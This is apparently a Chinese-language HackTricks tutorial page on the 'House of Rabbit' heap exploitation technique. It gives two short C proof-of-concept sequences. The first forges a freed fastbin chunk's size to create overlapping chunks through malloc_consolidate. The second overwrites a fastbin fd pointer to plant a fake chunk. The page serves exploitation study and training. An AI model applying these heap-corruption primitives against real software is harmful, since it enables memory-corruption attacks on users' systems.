House of Rabbit
Reading time: 5 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Requirements
- 能够修改快速堆块的 fd 指针或大小: 这意味着您可以更改快速堆中一个块的前向指针或其大小。
- 能够触发
malloc_consolidate
: 这可以通过分配一个大块或合并顶部块来完成,这会强制堆合并块。
Goals
- 创建重叠块: 使一个块与另一个块重叠,从而允许进一步的堆操作。
- 伪造假块: 使分配器在堆操作期间将假块视为合法块。
Steps of the attack
POC 1: 修改快速堆块的大小
Objective: 通过操纵快速堆块的大小来创建一个重叠块。
- Step 1: 分配块
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
我们分配了两个各为0x40字节的块。这些块在释放后将被放入快速空闲链表中。
- 步骤 2:释放块
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
我们释放这两个块,将它们添加到 fastbin 列表中。
- 步骤 3:修改块大小
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
我们将 chunk1
的大小元数据更改为 0xa1。这是欺骗分配器在合并期间的关键步骤。
- 步骤 4:触发
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
分配大块内存会触发 malloc_consolidate
函数,将快速堆中的小块合并。被操控的 chunk1
大小导致它与 chunk2
重叠。
合并后,chunk1
与 chunk2
重叠,从而允许进一步的利用。
POC 2: 修改 fd
指针
目标:通过操控快速堆 fd
指针创建一个伪造块。
- 步骤 1:分配块
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
解释:我们分配两个块,一个较小,一个较大,以便为假块设置堆。
- 步骤 2:创建假块
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
我们在 chunk2
中写入假块元数据,以模拟更小的块。
- 步骤 3:释放
chunk1
free(chunk1); // Frees the chunk at 0x602000
解释:我们释放 chunk1
,将其添加到 fastbin 列表中。
- 步骤 4:修改
chunk1
的fd
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
解释:我们将 chunk1
的前向指针 (fd
) 更改为指向 chunk2
内部的假块。
- 步骤 5:触发
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
分配一个大块再次触发 malloc_consolidate
,它处理假块。
假块成为 fastbin 列表的一部分,使其成为进一步利用的合法块。
总结
House of Rabbit 技术涉及修改 fast bin 块的大小以创建重叠块或操纵 fd
指针以创建假块。这使攻击者能够在堆中伪造合法块,从而实现各种形式的利用。理解和实践这些步骤将增强你的堆利用技能。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。